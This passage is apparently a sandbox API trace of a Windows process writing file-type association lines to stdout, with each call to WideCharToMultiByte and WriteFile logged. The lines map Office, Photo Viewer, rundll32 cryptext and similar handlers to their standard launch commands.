	[0056.806] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5e, lpOverlapped=0x0) returned 1
	[0056.807] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.807] GetFileType (hFile=0x5c) returned 0x3
	[0056.807] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNoteDesktop=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteDesktop=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
	[0056.807] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5e, lpOverlapped=0x0) returned 1
	[0056.807] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.807] GetFileType (hFile=0x5c) returned 0x3
	[0056.807] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNoteDesktop.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteDesktop.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 102
	[0056.807] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x65, lpOverlapped=0x0) returned 1
	[0056.807] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.808] GetFileType (hFile=0x5c) returned 0x3
	[0056.808] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="opensearchdescription=%SystemRoot%\\explorer.exe\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="opensearchdescription=%SystemRoot%\\explorer.exe\r\n", lpUsedDefaultChar=0x0) returned 50
	[0056.808] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x31, lpOverlapped=0x0) returned 1
	[0056.808] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.808] GetFileType (hFile=0x5c) returned 0x3
	[0056.808] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OrgPlusWOPX.4=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ORGCHART.EXE\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OrgPlusWOPX.4=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ORGCHART.EXE\" %1\r\n", lpUsedDefaultChar=0x0) returned 82
	[0056.808] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x51, lpOverlapped=0x0) returned 1
	[0056.808] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.808] GetFileType (hFile=0x5c) returned 0x3
	[0056.809] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.eml.15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE /eml \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.eml.15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE /eml \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0056.809] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5b, lpOverlapped=0x0) returned 1
	[0056.809] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.809] GetFileType (hFile=0x5c) returned 0x3
	[0056.809] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.hol.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /hol \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.hol.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /hol \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94
	[0056.809] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5d, lpOverlapped=0x0) returned 1
	[0056.809] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.809] GetFileType (hFile=0x5c) returned 0x3
	[0056.809] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.ics.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /ical \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.ics.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /ical \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
	[0056.809] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5e, lpOverlapped=0x0) returned 1
	[0056.810] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.810] GetFileType (hFile=0x5c) returned 0x3
	[0056.810] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.msg.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /f \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.msg.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /f \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0056.810] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5b, lpOverlapped=0x0) returned 1
	[0056.810] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.810] GetFileType (hFile=0x5c) returned 0x3
	[0056.810] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.oft.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /t \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.oft.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /t \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0056.810] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5b, lpOverlapped=0x0) returned 1
	[0056.810] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.810] GetFileType (hFile=0x5c) returned 0x3
	[0056.810] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.pst.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /pst \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.pst.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /pst \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94
	[0056.810] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5d, lpOverlapped=0x0) returned 1
	[0056.811] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.811] GetFileType (hFile=0x5c) returned 0x3
	[0056.811] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.vcf.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /v \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.vcf.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /v \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0056.811] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5b, lpOverlapped=0x0) returned 1
	[0056.811] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.811] GetFileType (hFile=0x5c) returned 0x3
	[0056.811] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.vcs.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /vcal \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.vcs.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /vcal \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
	[0056.811] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5e, lpOverlapped=0x0) returned 1
	[0056.812] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.812] GetFileType (hFile=0x5c) returned 0x3
	[0056.812] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.feed.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.feed.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96
	[0056.812] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5f, lpOverlapped=0x0) returned 1
	[0056.812] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.812] GetFileType (hFile=0x5c) returned 0x3
	[0056.812] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.mailto.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.mailto.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 111
	[0056.812] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x6e, lpOverlapped=0x0) returned 1
	[0056.813] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.813] GetFileType (hFile=0x5c) returned 0x3
	[0056.813] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.stssync.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.stssync.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 99
	[0056.813] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x62, lpOverlapped=0x0) returned 1
	[0056.813] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.813] GetFileType (hFile=0x5c) returned 0x3
	[0056.813] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.webcal.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.webcal.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 98
	[0056.813] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x61, lpOverlapped=0x0) returned 1
	[0056.813] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.813] GetFileType (hFile=0x5c) returned 0x3
	[0056.814] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="P7RFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenP7R %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P7RFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenP7R %1\r\n", lpUsedDefaultChar=0x0) returned 77
	[0056.814] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4c, lpOverlapped=0x0) returned 1
	[0056.814] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.814] GetFileType (hFile=0x5c) returned 0x3
	[0056.814] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="P7SFile=%SystemRoot%\\system32\\\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P7SFile=%SystemRoot%\\system32\\\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1\r\n", lpUsedDefaultChar=0x0) returned 80
	[0056.814] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4f, lpOverlapped=0x0) returned 1
	[0056.814] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.814] GetFileType (hFile=0x5c) returned 0x3
	[0056.814] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Paint.Picture=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Paint.Picture=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 130
	[0056.814] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x81, lpOverlapped=0x0) returned 1
	[0056.815] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.815] GetFileType (hFile=0x5c) returned 0x3
	[0056.815] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.815] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="pbkfile=%SystemRoot%\\system32\\rasphone.exe -f \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pbkfile=%SystemRoot%\\system32\\rasphone.exe -f \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 53
	[0056.815] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x34, lpOverlapped=0x0) returned 1
	[0056.815] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.815] GetFileType (hFile=0x5c) returned 0x3
	[0056.815] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.815] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PerfFile=%SystemRoot%\\system32\\mmc.exe %systemroot%\\system32\\perfmon.msc /F \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PerfFile=%SystemRoot%\\system32\\mmc.exe %systemroot%\\system32\\perfmon.msc /F \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0056.815] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x52, lpOverlapped=0x0) returned 1
	[0056.816] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.816] GetFileType (hFile=0x5c) returned 0x3
	[0056.816] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Bitmap=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Bitmap=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 145
	[0056.816] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x90, lpOverlapped=0x0) returned 1
	[0056.816] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.816] GetFileType (hFile=0x5c) returned 0x3
	[0056.816] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.JFIF=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.JFIF=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 143
	[0056.816] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x8e, lpOverlapped=0x0) returned 1
	[0056.816] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.816] GetFileType (hFile=0x5c) returned 0x3
	[0056.816] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Jpeg=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Jpeg=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 143
	[0056.816] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x8e, lpOverlapped=0x0) returned 1
	[0056.817] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.817] GetFileType (hFile=0x5c) returned 0x3
	[0056.817] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Png=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Png=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 142
	[0056.817] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x8d, lpOverlapped=0x0) returned 1
	[0056.817] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.817] GetFileType (hFile=0x5c) returned 0x3
	[0056.817] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Tiff=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Tiff=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 143
	[0056.817] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x8e, lpOverlapped=0x0) returned 1
	[0056.817] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.817] GetFileType (hFile=0x5c) returned 0x3
	[0056.817] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Wdp=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Wdp=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 142
	[0056.818] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x8d, lpOverlapped=0x0) returned 1
	[0056.818] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.818] GetFileType (hFile=0x5c) returned 0x3
	[0056.818] _get_osfhandle (_FileHandle=1) returned 0x5c
